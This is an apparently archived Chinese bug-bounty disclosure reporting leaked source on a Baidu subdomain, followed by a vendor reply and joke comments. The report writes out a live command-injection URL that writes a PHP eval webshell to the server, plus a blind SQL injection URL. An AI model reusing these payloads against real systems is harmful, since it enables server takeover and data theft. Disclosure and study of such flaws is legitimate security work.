漏洞概要
关注数(24)
关注此漏洞
漏洞标题：百度某源码泄露可造成shell
相关厂商：百度
提交时间：2015-03-01 10:49
修复时间：2015-04-15 10:50
公开时间：2015-04-15 10:50
漏洞类型：敏感信息泄露
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
Tags标签：
无
漏洞详情
披露状态：
2015-03-01： 细节已通知厂商并且等待厂商处理中
2015-03-02： 厂商已经确认，细节仅向厂商公开
2015-03-12： 细节向核心白帽子及相关领域专家公开
2015-03-22： 细节向普通白帽子公开
2015-04-01： 细节向实习白帽子公开
2015-04-15： 细节向公众公开
简要描述：
神器监测到某运维失误。之后大家猜。。。
详细说明：
url：http://ge.baidu.com/wse.tar
Date: Sat, 28 Feb 2015 03:48:39 GMT
Server: Apache
Content-Location: wse.tar.gz
Vary: negotiate,Accept-Encoding,User-Agent
TCN: choice
Last-Modified: Fri, 21 Nov 2014 10:15:06 GMT
ETag: "a4006-524cbc4c-5085bb805fe80;5085bb3044180"
Accept-Ranges: bytes
Content-Length: 1380760652
Connection: close
Content-Type: application/x-gzip
比较大的包，不过还是下载下来了。
经过简单的审计，发现不少问题。
可以直接命令执行。
命令执行：
http://ge.baidu.com/index.php/wse/callBack/DiffReCrawlCallBack/?evaluation_id=7072&taskId=7993&diff_num=1;echo%20xxx%27%3C?php%20eval%28$_POST[c]%29;?%3E%27%20%3E%20/home/work/wse-platform/bin/wse/x.php;echo%201%23
上面那两个id 是只有 status !=2 或 3时才实现的。
这里可以注入获取
其中一个注入点：
http://ge.baidu.com/index.php/wse/patchPageShow/contEvalPageShow?evaluation_id=111&label_env_id=111&query_name=aaa%27or%201=1%20limit%201%23
这个是时间盲注。
程序问题还是比较多的。你们深入修复下吧。
漏洞证明：
修复方案：
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-03-02 21:21
厂商回复：
感谢提交，已通知业务部门处理
最新状态：
暂无
漏洞评价：
评论
-
2015-03-01 10:52 |
Mik3y_14 ( 普通白帽子 | Rank:181 漏洞数:29 | 愿君多采撷，此物最相思。)
-
2015-03-01 12:16 |
小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-03-01 13:10 |
Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)
-
2015-03-01 13:30 |
Catsay ( 实习白帽子 | Rank:85 漏洞数:16 | 屌丝一枚)
-
2015-03-01 13:44 |
qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)
-
2015-03-01 14:01 |
围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-03-01 15:17 |
明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)
-
2015-03-01 16:11 |
Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)
-
2015-03-01 17:41 |
0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)
-
2015-03-01 18:04 |
ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-03-01 18:05 |
ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)
其实第一次要我挖洞我是拒绝的 因为，你不能让我挖，我就马上去挖，第一我要学一下 因为我不愿意挖完了以后再查出一些bug出来 数据库duang一下被爆了，很黑、很卡，这样厂商出来一定会骂我 根本没有这样的修复方案，就证明白帽子都是假的.后来我也经过证实这样确实可以修复漏洞。我挖了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加waf，因为我要让黑帽看到，我挖完之后是这个样子，你们挖完之后也会是这个样子！
-
2015-03-01 18:30 |
90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)
-
2015-03-02 09:07 |
发条橙子 ( 路人 | Rank:19 漏洞数:6 | ∑(っ °Д °;)っ)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-03-03 09:49 |
superbing ( 普通白帽子 | Rank:174 漏洞数:29 | 常羡古时儿女怀，嘻戏千山好自在。)
我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-04-02 16:55 |
qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)
-
2015-04-02 17:06 |
Qiudays ( 路人 | Rank:10 漏洞数:9 | 感觉自己萌萌哒)
-
2015-04-15 12:32 |
Unravel ( 路人 | Rank:0 漏洞数:1 | 来到这个世界上，即使是天使都会做坏事。)
-
2015-04-15 15:27 |
我的滑板鞋 ( 路人 | Rank:4 漏洞数:2 | 我的滑板鞋时尚最时尚)
-
2015-04-15 16:26 |
ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)
-
2015-04-17 16:56 |
Toom ( 路人 | Rank:6 漏洞数:3 | 啊)
-
2015-04-18 13:31 |
静默 ( 路人 | Rank:8 漏洞数:6 | 安全小白)
